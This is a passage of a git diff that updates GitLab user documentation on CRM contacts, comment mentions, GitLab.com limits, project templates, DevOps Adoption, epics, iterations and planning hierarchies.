+1. On the left sidebar, select **Customer relations > Contacts**.
+
+![Contacts list](crm_contacts_v14_6.png)
+
+### Create a contact
+
+To create a contact:
+
+1. On the top bar, select **Menu > Groups** and find your group.
+1. On the left sidebar, select **Customer relations > Contacts**.
+1. Select **New contact**.
+1. Complete all required fields.
+1. Select **Create new contact**.
+
+You can also [create](../../api/graphql/reference/index.md#mutationcustomerrelationscontactcreate)
+contacts using the GraphQL API.
+
+### Edit a contact
+
+To edit an existing contact:
+
+1. On the top bar, select **Menu > Groups** and find your group.
+1. On the left sidebar, select **Customer relations > Contacts**.
+1. Next to the contact you wish to edit, select **Edit** (**{pencil}**).
+1. Edit the required fields.
+1. Select **Save changes**.
+
+You can also [edit](../../api/graphql/reference/index.md#mutationcustomerrelationscontactupdate)
+contacts using the GraphQL API.
+
+## Organizations
+
+### View organizations
+
+To view a group's organizations:
+
+1. On the top bar, select **Menu > Groups** and find your group.
+1. On the left sidebar, select **Customer relations > Organizations**.
+
+![Organizations list](crm_organizations_v14_6.png)
+
+### Create an organization
+
+To create an organization:
+
+1. On the top bar, select **Menu > Groups** and find your group.
+1. On the left sidebar, select **Customer relations > Organizations**.
+1. Select **New organization**.
+1. Complete all required fields.
+1. Select **Create new organization**.
+
+You can also [create](../../api/graphql/reference/index.md#mutationcustomerrelationsorganizationcreate)
+organizations using the GraphQL API.
+
+### Edit an organization
+
+You can only [edit](../../api/graphql/reference/index.md#mutationcustomerrelationsorganizationupdate)
+organizations using the GraphQL API.
+
+## Issues
+
+### View issues linked to a contact
+
+To view a contact's issues:
+
+1. On the top bar, select **Menu > Groups** and find your group.
+1. On the left sidebar, select **Customer relations > Contacts**.
+1. Next to the contact whose issues you wish to view, select **View issues** (**{issues}**).
+
+### View issues linked to an organization
+
+To view an organization's issues:
+
+1. On the top bar, select **Menu > Groups** and find your group.
+1. On the left sidebar, select **Customer relations > Organizations**.
+1. Next to the organization whose issues you wish to view, select **View issues** (**{issues}**).
+
+### View contacts linked to an issue
+
+You can view contacts associated with an issue in the right sidebar.
+
+To view a contact's details, hover over the contact's name.
+
+![Issue contacts](issue_crm_contacts_v14_6.png)
+
+You can also view issue contacts using the
+[GraphQL](../../api/graphql/reference/index.md#mutationcustomerrelationsorganizationcreate)
+API.
+
+### Add or remove issue contacts
+
+Prerequisites:
+
+- You must have at least the [Developer role](../permissions.md#project-members-permissions) for a group.
+
+### Add contacts to an issue
+
+To add contacts to an issue use the `/add_contacts`
+[quick action](../project/quick_actions.md).
+
+You can also add, remove, or replace issue contacts using the
+[GraphQL](../../api/graphql/reference/index.md#mutationissuesetcrmcontacts)
+API.
+
+### Remove contacts from an issue
+
+To remove contacts from an issue use the `/remove_contacts`
+[quick action](../project/quick_actions.md).
+
+You can also add, remove, or replace issue contacts using the
+[GraphQL](../../api/graphql/reference/index.md#mutationissuesetcrmcontacts)
+API.
diff --git a/doc/user/crm/issue_crm_contacts_v14_6.png b/doc/user/crm/issue_crm_contacts_v14_6.png
new file mode 100644
index 00000000000..9c18b1a8cdb
--- /dev/null
+++ b/doc/user/crm/issue_crm_contacts_v14_6.png
Binary files differ
diff --git a/doc/user/discussions/index.md b/doc/user/discussions/index.md
index 4d6cff96169..7831fdff249 100644
--- a/doc/user/discussions/index.md
+++ b/doc/user/discussions/index.md
@@ -34,6 +34,20 @@ You can create comments in places like:
Each object can have as many as 5,000 comments.
+## Mentions
+
+You can mention a user or a group present in your GitLab instance with `@username` or
+`@groupname`. All mentioned users are notified with to-do items and emails.
+Users can change this setting for themselves in the
+[notification settings](../profile/notifications.md).
+
+You can quickly see which comments involve you, because
+mentions for yourself (the user currently signed in) are highlighted
+in a different color.
+
+Avoid mentioning `@all` in issues and merge requests, because it sends an email notification
+to all the members of that project's group. This might be interpreted as spam.
+
## Add a comment to a merge request diff
You can add comments to a merge request diff. These comments
@@ -90,8 +104,10 @@ An icon is displayed on the image and a comment field is displayed.
If you have ["reply by email"](../../administration/reply_by_email.md) configured,
you can reply to comments by sending an email.
-- When you reply to a standard comment, another standard comment is created.
+- When you reply to a standard comment, it creates another standard comment.
- When you reply to a threaded comment, it creates a reply in the thread.
+- When you [send an email to an issue email address](../project/issues/managing_issues.md#copy-issue-email-address),
+ it creates a standard comment.
You can use [Markdown](../markdown.md) and [quick actions](../project/quick_actions.md) in your email replies.
@@ -145,7 +161,7 @@ For issues and merge requests with many comments, you can filter the page to sho
1. Open a merge request's **Discussion** tab, or epic or issue's **Overview** tab.
1. On the right side of the page, select from the filter:
- - **Show all activity**: Display all user comments and system notes
+ - **Show all activity**: Display all user comments and system notes.
(issue updates, mentions from other issues, changes to the description, and so on).
- **Show comments only**: Display only user comments.
- **Show history only**: Display only activity notes.
@@ -155,6 +171,27 @@ For issues and merge requests with many comments, you can filter the page to sho
GitLab saves your preference, so it persists when you visit the same page again
from any device you're logged into.
+## View description change history **(PREMIUM)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10103) in GitLab 12.6.
+
+You can see changes to the description listed in the history.
+
+To compare the changes, select **Compare with previous version**.
+
+## Change activity sort order
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14588) in GitLab 12.10.
+
+You can reverse the default order and interact with the activity feed sorted by most recent items
+at the top. Your preference is saved in local storage and automatically applies to every issue,
+merge request, or epic you view.
+
+To change the activity sort order:
+
+1. Select the **Oldest first** (or **Newest first**) dropdown list.
+1. Select either oldest or newest items to be shown first.
+
## Assign an issue to the commenting user
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/191455) in GitLab 13.1.
diff --git a/doc/user/gitlab_com/index.md b/doc/user/gitlab_com/index.md
index a3aecff6f73..8d858a282dd 100644
--- a/doc/user/gitlab_com/index.md
+++ b/doc/user/gitlab_com/index.md
@@ -85,7 +85,7 @@ are included when cloning.
Top-level groups created after August 12, 2021 have delayed project deletion enabled by default.
Projects are permanently deleted after a seven-day delay.
-You can disable this by changing the [group setting](../group/index.md#enable-delayed-project-removal).
+You can disable this by changing the [group setting](../group/index.md#enable-delayed-project-deletion).
## Alternative SSH port
@@ -141,7 +141,24 @@ the related documentation.
| [Scheduled Job Archival](../../user/admin_area/settings/continuous_integration.md#archive-jobs) | 3 months | Never |
| Max test cases per [unit test report](../../ci/unit_test_reports.md) | `500_000` | Unlimited |
| [Max registered runners](../../administration/instance_limits.md#number-of-registered-runners-per-scope) | Free tier: `50` per-group / `50` per-project <br/> All paid tiers: `1_000` per-group / `1_000` per-project | `1_000` per-group / `1_000` per-project |
-| [Limit dotenv variables](../../administration/instance_limits.md#limit-dotenv-variables) | Free tier: `50` / Premium tier: `100` / Ultimate tier: `150` | Unlimited |
+| [Limit dotenv variables](../../administration/instance_limits.md#limit-dotenv-variables) | Free tier: `50` / Premium tier: `100` / Ultimate tier: `150` | 150 |
+
+## Package registry limits
+
+The [maximum file size](../../administration/instance_limits.md#file-size-limits)
+for a package uploaded to the [GitLab Package Registry](../../user/packages/package_registry/index.md)
+varies by format:
+
+| Package type | GitLab.com |
+|--------------|------------|
+| Conan | 5 GB |
+| Generic | 5 GB |
+| Helm | 5 MB |
+| Maven | 5 GB |
+| npm: | 5 GB |
+| NuGet | 5 GB |
+| PyPI | 5 GB |
+| Terraform | 1 GB |
## Account and limit settings
@@ -200,11 +217,11 @@ The following limits apply for [Webhooks](../project/integrations/webhooks.md):
| [Number of webhooks](../../administration/instance_limits.md#number-of-webhooks) | `100` per project, `50` per group | `100` per project, `50` per group |
| Maximum payload size | 25 MB | 25 MB |
-## Shared Runner Cloud runners
+## Runner SaaS
-GitLab has shared runners on GitLab.com that you can use to run your CI jobs.
+Runner SaaS is the hosted, secure, and managed build environment you can use to run CI/CD jobs for your GitLab.com hosted project.
-For more information, see [GitLab Runner Cloud runners](../../ci/runners/index.md).
+For more information, see [Runner SaaS](../../ci/runners/index.md).
## Sidekiq
diff --git a/doc/user/group/clusters/index.md b/doc/user/group/clusters/index.md
index 9c95b2b21a4..b2b16321488 100644
--- a/doc/user/group/clusters/index.md
+++ b/doc/user/group/clusters/index.md
@@ -12,7 +12,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
WARNING:
This feature was [deprecated](https://gitlab.com/groups/gitlab-org/configure/-/epics/8) in GitLab 14.5. To connect clusters to GitLab,
-use the [GitLab Kubernetes Agent](../../clusters/agent/index.md).
+use the [GitLab Agent](../../clusters/agent/index.md).
Similar to [project-level](../../project/clusters/index.md) and
[instance-level](../../instance/clusters/index.md) Kubernetes clusters,
diff --git a/doc/user/group/custom_project_templates.md b/doc/user/group/custom_project_templates.md
index 9378b3922b5..2214a18475a 100644
--- a/doc/user/group/custom_project_templates.md
+++ b/doc/user/group/custom_project_templates.md
@@ -9,49 +9,49 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6861) in GitLab 11.6.
-[Group owners](../permissions.md#group-members-permissions) can set a subgroup to
-be the source of project templates that are selectable when a new project is created
-in the group. These templates can be selected when you go to **New project > Create from template**
-in the group and select the **Group** tab.
+When you create a project, you can [choose from a list of templates](../project/working_with_projects.md#create-a-project).
+These templates, for things like GitLab Pages or Ruby, populate the new project with a copy of the files contained in the
+template. This information is identical to the information used by [GitLab project import/export](../project/settings/import_export.md)
+and can help you start a new project more quickly.
-Every project in the subgroup, but not nested subgroups, can be selected by members
-of the group when a new project is created.
+You can [customize the list](../project/working_with_projects.md#create-a-project) of available templates, so
+that all projects in your group have the same list. To do this, you populate a subgroup with the projects you want to
+use as templates.
-- Public projects can be selected by any signed-in user as a template for a new project,
- if all enabled [project features](../project/settings/index.md#sharing-and-permissions)
- except for **GitLab Pages** and **Security & Compliance** are set to **Everyone With Access**.
- The same applies to internal projects.
-- Private projects can be selected only by users who are members of the projects.
+You can also configure [custom templates for the instance](../admin_area/custom_project_templates.md).
-Repository and database information that is copied over to each new project is identical to the
-data exported with the [GitLab Project Import/Export](../project/settings/import_export.md).
+## Set up group-level project templates
-To set custom project templates at the instance level, see [Custom instance-level project templates](../admin_area/custom_project_templates.md).
+Prerequisite:
-## Set up group-level project templates
+- You must have the [Owner role for the group](../permissions.md#group-members-permissions).
To set up custom project templates in a group, add the subgroup that contains the
project templates to the group settings:
1. In the group, create a [subgroup](subgroups/index.md).
1. [Add projects to the new subgroup](index.md#add-projects-to-a-group) as your templates.
-1. In the left menu for the group, go to **Settings > General**.
+1. In the left menu for the group, select **Settings > General**.
1. Expand **Custom project templates** and select the subgroup.
-If all enabled [project features](../project/settings/index.md#sharing-and-permissions)
-(except for GitLab Pages) are set to **Everyone With Access**, then every project
-template in the subgroup is available to every member of the group.
+The next time a group member creates a project, they can select any of the projects in the subgroup.
-Any projects added to the subgroup later can be selected the next time a group member
-creates a new project.
+Projects in nested subgroups are not included in the template list.
+
+## Which projects are available as templates
+
+- Public and internal projects can be selected by any signed-in user as a template for a new project,
+ if all [project features](../project/settings/index.md#sharing-and-permissions)
+ except for **GitLab Pages** and **Security & Compliance** are set to **Everyone With Access**.
+- Private projects can be selected only by users who are members of the projects.
-### Example structure
+## Example structure
-Here's a sample group/project structure for project templates, for a hypothetical _Acme Co_:
+Here's a sample group and project structure for project templates, for `myorganization`:
```plaintext
# GitLab instance and group
-gitlab.com/acmeco/
+gitlab.com/myorganization/
# Subgroups
internal
tools
@@ -61,7 +61,7 @@ gitlab.com/acmeco/
# Project templates
client-site-django
client-site-gatsby
- client-site-hTML
+ client-site-html
# Other projects
client-site-a
diff --git a/doc/user/group/devops_adoption/index.md b/doc/user/group/devops_adoption/index.md
index 36ccfc1031f..4151745189d 100644
--- a/doc/user/group/devops_adoption/index.md
+++ b/doc/user/group/devops_adoption/index.md
@@ -16,94 +16,81 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - Overview table [added](https://gitlab.com/gitlab-org/gitlab/-/issues/335638) in GitLab 14.3.
> - Adoption over time chart [added](https://gitlab.com/gitlab-org/gitlab/-/issues/337561) in GitLab 14.4.
-Prerequisites:
+DevOps Adoption shows you how groups in your organization adopt and use the most essential features of GitLab.
-- You must have at least the [Reporter role](../../permissions.md) for the group.
+You can use Group DevOps Adoption to:
-To access Group DevOps Adoption, go to your group and select **Analytics > DevOps Adoption**.
+- Identify specific subgroups that are lagging in their adoption of GitLab features, so you can guide them on
+their DevOps journey.
+- Find subgroups that have adopted certain features, and provide guidance to other subgroups on
+how to use those features.
+- Verify if you are getting the return on investment that you expected from GitLab.
-Group DevOps Adoption shows you how individual groups and subgroups within your organization use the following features:
+![DevOps Adoption](img/group_devops_adoption_v14_2.png)
-- Dev
- - Approvals
- - Code owners
- - Issues
- - Merge requests
-- Sec
- - DAST
- - Dependency Scanning
- - Fuzz Testing
- - SAST
-- Ops
- - Deployments
- - Pipelines
- - Runners
+## View DevOps Adoption
-When managing groups in the UI, you can add or remove your subgroups with the **Add or remove subgroups**
-button, in the top right hand section of your Groups pages.
+Prerequisite:
-With DevOps Adoption you can:
+- You must have at least the [Reporter role](../../permissions.md) for the group.
-- Verify whether you are getting the return on investment that you expected from GitLab.
-- Identify specific subgroups that are lagging in their adoption of GitLab, so you can help them along in their DevOps journey.
-- Find the subgroups that have adopted certain features, and can provide guidance to other subgroups on how to use those features.
+To view DevOps Adoption:
-![DevOps Adoption](img/group_devops_adoption_v14_2.png)
+1. On the top bar, select **Menu > Groups** and find your group.
+1. On the left sidebar, select **Analytics > DevOps adoption**
+
+## DevOps Adoption categories
+
+DevOps Adoption shows feature adoption for development, security, and operations.
+
+| Category | Feature |
+| --- | --- |
+| Development | Approvals<br>Code owners<br>Issues<br>Merge requests |
+| Security | DAST<br>Dependency Scanning<br>Fuzz Testing<br>SAST |
+| Operations | Deployments<br>Pipelines<br>Runners |
+
+## Feature adoption
-Feature adoption is based on usage in the previous calendar month. Data is updated on the first day
-of each month. If the monthly update fails, it tries again daily until successful.
+DevOps Adoption shows feature adoption data for groups and subgroups for the previous calendar month.
-## Enable data processing
+A feature shows as **adopted** when a group has used the feature in a project during the time period.
+This includes projects in any subgroups of the group. For example, if an issue was created in a project in a group, the group has adopted issues in that time.
-Group DevOps Adoption relies on data that has been gathered by a weekly data processing task.
-This task is disabled by default.
+### Exceptions to feature adoption data
-To begin using Group DevOps Adoption, access the feature for the first time. GitLab automatically
-enables the data processing for that group. The group data doesn't appear immediately, because
-GitLab requires around a minute to process it.
+When GitLab measures DevOps Adoption, some common DevOps information is not included:
-## What is displayed
+- Dormant projects. It doesn't matter how many projects in the group use a feature. Even if you have many dormant projects, it doesn't lower the adoption.
+- New GitLab features. Adoption is the total number of features adopted, not the percent of features.
-DevOps Adoption displays feature adoption data for the given group
-and any added subgroups for the current calendar month.
-Each group appears as a separate row in the table.
-For each row, a feature is considered "adopted" if it has been used in a project in the given group
-during the time period (including projects in any subgroups of the given group).
+## When DevOps Adoption data is gathered
-## Adoption over time
+A weekly task processes data for DevOps Adoption. This task is disabled until you access
+DevOps Adoption for a group for the first time.
-The **Adoption over time** chart in the **Overview** tab displays DevOps Adoption over time. The chart displays the total number of adopted features from the previous twelve months,
-from when you enabled DevOps Adoption for the group.
+The data processing task updates the data on the first day of each month. If the monthly update
+fails, the task tries daily until it succeeds.
-The tooltip displays information about the features tracked for individual months.
+DevOps Adoption data may take up to a minute to appear while GitLab processes the group's data.
-## When is a feature considered adopted
+## View feature adoption over time
-A feature is considered "adopted" if it has been used anywhere in the group in the specified time.
-For example, if an issue was created in one project in a group, the group is considered to have
-"adopted" issues in that time.
+The **Adoption over time** chart shows the total number of adopted features from the previous
+twelve months. The chart only shows data from when you enabled DevOps Adoption for the group.
-## No penalties for common adoption patterns
+To view feature adoption over time:
-DevOps Adoption is designed not to penalize for any circumstances or practices that are common in DevOps.
-Following this guideline, GitLab doesn't penalize for:
+1. On the top bar, select **Menu > Groups** and find your group.
+1. On the left sidebar, select **Analytics > DevOps adoption**.
+1. Select the **Overview** tab.
-1. Having dormant projects. It's common for groups to have a mix of active and dormant projects,
- so we should not consider adoption to be low if there are relatively many dormant projects.
- This means we should not measure adoption by how many projects in the group have used a feature,
- only by whether a feature was used anywhere in the group.
-1. GitLab adding new features over time. It's common for group feature usage to be consistent
- over time, so we should not consider adoption to have decreased if GitLab adds features.
- This means we should not measure adoption by percentages, only total counts.
+Tooltips display information about the features tracked for individual months.
-## Add a subgroup
+## Add or remove a subgroup
-DevOps Adoption can also display data for subgroups within the given group,
-to show you differences in adoption across the group.
-To add subgroups to your Group DevOps Adoption report:
+To add or remove a subgroup from the DevOps Adoption report:
1. Select **Add or remove subgroups**.
-1. Select the subgroups you want to add and select **Save changes**.
+1. Select the subgroup you want to add or remove and select **Save changes**.
-The subgroup data might not appear immediately, because GitLab requires around a minute to collect
-the data.
+It may take up to a minute for subgroup data to appear while GitLab collects the data.
diff --git a/doc/user/group/epics/epic_boards.md b/doc/user/group/epics/epic_boards.md
index d184030718a..1bc1e4d703b 100644
--- a/doc/user/group/epics/epic_boards.md
+++ b/doc/user/group/epics/epic_boards.md
@@ -9,6 +9,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/5067) in GitLab 13.10.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/290039) in GitLab 14.1.
+INFO:
+Try epic boards and more with a
+[free 30-day trial of GitLab Ultimate](https://about.gitlab.com/free-trial/index.html?glm_source=docs.gitlab.com&glm_content=p-epics-boards-docs).
+
Epic boards build on the existing [epic tracking functionality](index.md) and
[labels](../../project/labels.md). Your epics appear as cards in vertical lists, organized by their assigned
labels.
diff --git a/doc/user/group/epics/index.md b/doc/user/group/epics/index.md
index 65e0f31324b..3889398e2f8 100644
--- a/doc/user/group/epics/index.md
+++ b/doc/user/group/epics/index.md
@@ -1,5 +1,4 @@
---
-type: reference, howto
stage: Plan
group: Product Planning
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
@@ -7,8 +6,11 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Epics **(PREMIUM)**
-> - Introduced in GitLab 10.2.
-> - Single-level epics were [moved](https://gitlab.com/gitlab-org/gitlab/-/issues/37081) from GitLab Ultimate to GitLab Premium in 12.8.
+> Single-level epics were [moved](https://gitlab.com/gitlab-org/gitlab/-/issues/37081) from GitLab Ultimate to GitLab Premium in 12.8.
+
+INFO:
+Check out [multi-level child epics](manage_epics.md#multi-level-child-epics) with a
+[free 30-day trial of GitLab Ultimate](https://about.gitlab.com/free-trial/index.html?glm_source=docs.gitlab.com&glm_content=p-epics-docs).
When [issues](../../project/issues/index.md) share a theme across projects and milestones,
you can manage them by using epics.
@@ -37,9 +39,9 @@ graph TD
Child_epic --> Issue2
```
-## Roadmap in epics **(ULTIMATE)**
+Also, read more about possible [planning hierarchies](../planning_hierarchy/index.md).
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7327) in GitLab 11.10.
+## Roadmap in epics **(ULTIMATE)**
If your epic contains one or more [child epics](manage_epics.md#multi-level-child-epics) that
have a start or due date, a visual
diff --git a/doc/user/group/epics/manage_epics.md b/doc/user/group/epics/manage_epics.md
index 72fa9e1e310..f5b1a2a6ee6 100644
--- a/doc/user/group/epics/manage_epics.md
+++ b/doc/user/group/epics/manage_epics.md
@@ -332,7 +332,7 @@ Only issues from projects that are in groups can be promoted. When you attempt t
issue, a warning is displayed. Promoting a confidential issue to an epic makes all information
related to the issue public as epics are public to group members.
-When the quick action is executed:
+When an issue is promoted to an epic:
- An epic is created in the same group as the project of the issue.
- Subscribers of the issue are notified that the epic was created.
diff --git a/doc/user/group/index.md b/doc/user/group/index.md
index f0e08301a1b..db6ed02f405 100644
--- a/doc/user/group/index.md
+++ b/doc/user/group/index.md
@@ -321,7 +321,7 @@ To share a group after enabling this feature:
1. Go to your group's page.
1. On the left sidebar, go to **Group information > Members**, and then select **Invite a group**.
1. Select a group, and select a **Max role**.
-1. (Optional) Select an **Access expiration date**.
+1. Optional. Select an **Access expiration date**.
1. Select **Invite**.
## Manage group memberships via LDAP **(PREMIUM SELF)**
@@ -508,7 +508,7 @@ To prevent a project from being shared with other groups:
This setting applies to all subgroups unless overridden by a group owner. Groups already
added to a project lose access when the setting is enabled.
-## Prevent members from being added to a group **(PREMIUM)**
+## Prevent members from being added to projects in a group **(PREMIUM)**
As a group owner, you can prevent any new project membership for all
projects in a group, allowing tighter control over project membership.
@@ -516,7 +516,11 @@ projects in a group, allowing tighter control over project membership.
For example, if you want to lock the group for an [Audit Event](../../administration/audit_events.md),
you can guarantee that project membership cannot be modified during the audit.
-To prevent members from being added to a group:
+You can still invite groups or to add members to groups, implicitly giving members access to projects in the **locked** group.
+
+The setting does not cascade. Projects in subgroups observe the subgroup configuration, ignoring the parent group.
+
+To prevent members from being added to projects in a group:
1. Go to the group's **Settings > General** page.
1. Expand the **Permissions, LFS, 2FA** section.
@@ -557,12 +561,15 @@ You should consider these security implications before configuring IP address re
- **Administrators and group owners**: Users with these permission levels can always
access the group settings, regardless of IP restriction, but they cannot access projects
belonging to the group when accessing from a disallowed IP address.
-- **GitLab API and runner activities**: Only the [Groups](../../api/groups.md)
- and [Projects](../../api/projects.md) APIs are protected by IP address restrictions.
+- **GitLab API and runner activities**: Only the [group](../../api/groups.md) (including all
+ [group resources](../../api/api_resources.md#group-resources)) APIs and [project](../../api/api_resources.md#project-resources)
+ (including all [project resources](../../api/api_resources.md#project-resources)) APIs are protected by IP address restrictions.
When you register a runner, it is not bound by the IP restrictions. When the runner
requests a new job or an update to a job's state, it is also not bound by
the IP restrictions. But when the running CI/CD job sends Git requests from a
restricted IP address, the IP restriction prevents code from being cloned.
+- **User dashboard activity**: Users may still see some events from the IP restricted groups and projects
+ on their dashboard. Activity may include push, merge, issue, or comment events.
To restrict group access by IP address:
@@ -660,18 +667,15 @@ To disable group mentions:
1. Select **Disable group mentions**.
1. Select **Save changes**.
-## Enable delayed project removal **(PREMIUM)**
+## Enable delayed project deletion **(PREMIUM)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/220382) in GitLab 13.2.
> - [Inheritance and enforcement added](https://gitlab.com/gitlab-org/gitlab/-/issues/321724) in GitLab 13.11.
> - [Instance setting to enable by default added](https://gitlab.com/gitlab-org/gitlab/-/issues/255449) in GitLab 14.2.
-Projects can be configured to be deleted either:
-
-- Immediately.
-- After a delayed interval. During this interval period, the projects are in a read-only state
- and can be restored. The default interval period is seven days but
- [is configurable](../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay).
+[Delayed project deletion](../project/settings/index.md#delayed-project-deletion) can be enabled for groups. When enabled, projects in
+the group are deleted after a period of delay. During this period, projects are in a read-only state and can be restored. The default
+period is seven days but [is configurable at the instance level](../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay).
On self-managed GitLab, projects are deleted immediately by default.
In GitLab 14.2 and later, an administrator can
@@ -685,12 +689,12 @@ To enable delayed deletion of projects in a group:
1. Go to the group's **Settings > General** page.
1. Expand the **Permissions, LFS, 2FA** section.
-1. Check **Enable delayed project removal**.
+1. Check **Enable delayed project deletion**.
1. Optional. To prevent subgroups from changing this setting, select **Enforce for all subgroups**.
1. Select **Save changes**.
NOTE:
-In GitLab 13.11 and above the group setting for delayed project removal is inherited by subgroups. As discussed in [Cascading settings](../../development/cascading_settings.md) inheritance can be overridden, unless enforced by an ancestor.
+In GitLab 13.11 and above the group setting for delayed project deletion is inherited by subgroups. As discussed in [Cascading settings](../../development/cascading_settings.md) inheritance can be overridden, unless enforced by an ancestor.
## Prevent project forking outside group **(PREMIUM)**
@@ -799,13 +803,5 @@ the following checks when creating or updating namespaces or groups:
- Namespaces must not have parents.
- Group parents must be groups and not namespaces.
-You can disable the validation if GitLab shows the following errors:
-
-- `A user namespace cannot have a parent`.
-- `A group cannot have a user namespace as its parent`.
-
-To disable the validation,
-[disable the `validate_namespace_parent_type` flag](../../administration/feature_flags.md).
-
-In the unlikely event that you had to disable this feature flag to prevent errors,
+In the unlikely event that you see these errors in your GitLab installation,
[contact Support](https://about.gitlab.com/support/) so that we can improve this validation.
diff --git a/doc/user/group/iterations/index.md b/doc/user/group/iterations/index.md
index 7a1cbe86d58..8a79effba15 100644
--- a/doc/user/group/iterations/index.md
+++ b/doc/user/group/iterations/index.md
@@ -7,14 +7,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Iterations **(PREMIUM)**
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214713) in GitLab 13.1.
-> - Deployed behind a feature flag, disabled by default.
-> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/221047) in GitLab 13.2.
-> - Enabled on GitLab.com.
-> - Can be enabled or disabled per-group.
-> - Recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-iterations).
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214713) in GitLab 13.1 [with a flag](../../../administration/feature_flags.md) named `group_iterations`. Disabled by default.
+> - [Enabled on self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/221047) in GitLab 13.2.
> - Moved to GitLab Premium in 13.9.
+> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/221047) in GitLab 14.6. [Feature flag `group_iterations`](https://gitlab.com/gitlab-org/gitlab/-/issues/221047) removed.
Iterations are a way to track issues over a period of time. This allows teams
to track velocity and volatility metrics. Iterations can be used with [milestones](../../project/milestones/index.md)
@@ -169,31 +165,7 @@ To group issues by label:
1. Select the **Filter by label** dropdown.
1. Select the labels you want to group by in the labels dropdown.
You can also search for labels by typing in the search input.
-1. Select or tap outside of the label dropdown. The page is now grouped by the selected labels.
-
-## Enable or disable iterations **(PREMIUM SELF)**
-
-GitLab Iterations feature is deployed with a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
-can disable it for your instance. `:group_iterations` can be enabled or disabled per-group.
-
-To enable it:
-
-```ruby
-# Instance-wide
-Feature.enable(:group_iterations)
-# or by group
-Feature.enable(:group_iterations, Group.find(<group ID>))
-```
-
-To disable it:
-
-```ruby
-# Instance-wide
-Feature.disable(:group_iterations)
-# or by group
-Feature.disable(:group_iterations, Group.find(<group ID>))
-```
+1. Select any area outside the label dropdown list. The page is now grouped by the selected labels.
### Enable or disable iteration cadences **(PREMIUM SELF)**
diff --git a/doc/user/group/planning_hierarchy/img/epic-view-ancestors-in-sidebar_v14_6.png b/doc/user/group/planning_hierarchy/img/epic-view-ancestors-in-sidebar_v14_6.png
new file mode 100644
index 00000000000..373b861239b
--- /dev/null
+++ b/doc/user/group/planning_hierarchy/img/epic-view-ancestors-in-sidebar_v14_6.png
Binary files differ
diff --git a/doc/user/group/planning_hierarchy/img/hierarchy_with_multi_level_epics.png b/doc/user/group/planning_hierarchy/img/hierarchy_with_multi_level_epics.png
new file mode 100644
index 00000000000..d264ebf10d7
--- /dev/null
+++ b/doc/user/group/planning_hierarchy/img/hierarchy_with_multi_level_epics.png
Binary files differ
diff --git a/doc/user/group/planning_hierarchy/img/issue-view-parent-epic-in-sidebar_v14_6.png b/doc/user/group/planning_hierarchy/img/issue-view-parent-epic-in-sidebar_v14_6.png
new file mode 100644
index 00000000000..95a5777674a
--- /dev/null
+++ b/doc/user/group/planning_hierarchy/img/issue-view-parent-epic-in-sidebar_v14_6.png
Binary files differ
diff --git a/doc/user/group/planning_hierarchy/index.md b/doc/user/group/planning_hierarchy/index.md
new file mode 100644
index 00000000000..5887328abe4
--- /dev/null
+++ b/doc/user/group/planning_hierarchy/index.md
@@ -0,0 +1,67 @@
+---
+type: reference
+stage: Plan
+group: Product Planning
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Planning hierarchies **(PREMIUM)**
+
+Planning hierarchies are an integral part of breaking down your work in GitLab.
+To understand how you can use epics and issues together in hierarchies, remember the following:
+
+- [Epics](../epics/index.md) exist in groups.
+- [Issues](../../project/issues/index.md) exist in projects.
+
+GitLab is not opinionated on how you structure your work and the hierarchy you can build with multi-level
+epics. For example, you can use the hierarchy as a folder of issues for bigger initiatives.
+
+To learn about hierarchies in general, common frameworks, and using GitLab for
+portfolio management, see
+[How to use GitLab for Agile portfolio planning and project management](https://about.gitlab.com/blog/2020/11/11/gitlab-for-agile-portfolio-planning-project-management/).
+
+## Hierarchies with epics
+
+With epics, you can achieve the following hierarchy:
+
+```mermaid
+graph TD
+ Group_epic --> Project1_Issue1
+ Group_epic --> Project1_Issue2
+ Group_epic --> Project2_Issue1
+```
+
+### Hierarchies with multi-level epics **(ULTIMATE)**
+
+With the addition of [multi-level epics](../epics/manage_epics.md#multi-level-child-epics) and up to
+seven levels of nested epics, you can achieve the following hierarchy:
+
+<!--
+Image below was generated with the following Mermaid code.
+Attached as an image because a rendered diagram doesn't look clear on the docs page.
+
+```mermaid
+classDiagram
+ direction TD
+ class Epic
+ class Issue
+
+ Epic *-- "0..7" Epic
+Epic "1"*-- "0..*" Issue
+```
+
+ -->
+
+![Diagram showing possible relationships of multi-level epics](img/hierarchy_with_multi_level_epics.png)
+
+## View ancestry of an epic
+
+In an epic, you can view the ancestors as parents in the right sidebar under **Ancestors**.
+
+![epics state dropdown](img/epic-view-ancestors-in-sidebar_v14_6.png)
+
+## View ancestry of an issue
+
+In an issue, you can view the parented epic above the issue in the right sidebar under **Epic**.
+
+![epics state dropdown](img/issue-view-parent-epic-in-sidebar_v14_6.png)
diff --git a/doc/user/group/roadmap/index.md b/doc/user/group/roadmap/index.md
index 206f3172170..7d489bc5b2d 100644
--- a/doc/user/group/roadmap/index.md
